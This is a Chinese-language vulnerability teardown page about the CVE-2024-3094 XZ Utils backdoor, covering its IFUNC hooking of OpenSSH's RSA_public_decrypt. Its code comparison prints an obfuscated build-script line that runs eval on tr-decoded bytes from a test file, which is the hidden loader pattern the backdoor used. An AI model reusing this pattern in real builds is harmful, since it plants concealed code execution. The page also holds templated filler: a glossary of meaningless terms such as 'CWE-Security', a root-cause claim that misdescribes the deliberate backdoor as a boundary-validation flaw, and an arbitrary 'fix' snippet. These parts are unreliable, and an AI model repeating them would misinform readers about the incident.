flawopen.com/Teardowns/cve-2024-3094-xz-utils-backdoor

● CVE-2024-3094 · CVSS 9.8 · 严重
安全研究 · FlawOpen

深度技术拆解:CVE-2024-3094: XZ Utils Backdoor & IFUNC Hooking

CVE-2024-3094(XZ Utils 后门)源码级深度剖析:揭秘攻击者如何篡改 liblzma 中的 IFUNC 解析器以劫持并瓦解 OpenSSH 身份验证机制。

💡 通俗易懂的原理解析 (ELI5)

想象一下,一家银行使用标准的自来水管修建金库,公开的工程图纸毫无瑕疵。然而,在工厂负责打包出厂水管的装配工,却偷偷在水管内壁穿了一根隐形电线。当这根水管在 Linux 系统上安装进金库时,那根电线悄悄连通了银行大门的电子防盗锁 (OpenSSH),使该装配工日后随时可以用暗号遥控器直接开门。在 CVE-2024-3094 中,攻击者将绝密后门巧妙藏匿于发布压缩包(Tarball)的构建脚本中,实现了无需密码直接获取 Linux 远程最高 Root 特权的隐秘通道。

核心概念与专有名词

Open Source Systems
技术概念 (Open Source Systems):Core architecture component affected by CWE-Security.
CWE-Security
技术概念 (CWE-Security):Standard Common Weakness Enumeration classification for cve-2024-3094-xz-utils-backdoor.
Defense-in-Depth
技术概念 (Defense-in-Depth):Multi-layered engineering verification and runtime boundary isolation.

根本原因剖析 (Root Cause)

根本原因在于开源系统中未经验证的边界参数,导致状态不同步并绕过安全控制。

攻击执行流程分解

Step 1

Indirect Linkage via libsystemd

Linux distributions linked OpenSSH to libsystemd for startup notification, which linked liblzma for compression.

Step 2

Early IFUNC Evaluation

During process startup, glibc evaluated GNU IFUNC (Indirect Function) resolvers before read-only memory protections were finalized.

Step 3

Symbol Table Hooking

The backdoor hooked IFUNC to traverse the dynamic linker symbol tables and overwrite the address of RSA_public_decrypt.

Step 4

Signature Hijack & Root Execution

When an SSH client connects with a signature signed by the attacker's Ed448 private key, the hooked function executes arbitrary root commands.

源代码对比:漏洞与安全实现

✕ 存在漏洞的实现
# Backdoored tarball: Extracts hidden binary object from test assets
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Decodes obfuscated binary payload from test files using sed & tr
if test -f "$srcdir/tests/files/bad-3-corrupt_lzma2.xz"; then
    eval $(tr "	 \-_" " 	_\-" < "$srcdir/tests/files/bad-3-corrupt_lzma2.xz" | head -n 1)
fi
# Replaces liblzma CRC64 resolver to hijack OpenSSH RSA_public_decrypt
✓ 加固后的安全修复
# Fixed: Restored standard Gnulib macro; eliminated hidden execution hooks
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])

# Standard clean Autotools build-to-host path resolution
AC_DEFUN([gl_BUILD_TO_HOST],
[
  AC_REQUIRE([gl_BUILD_TO_HOST_BINDIR])
])

工程与系统安全加固清单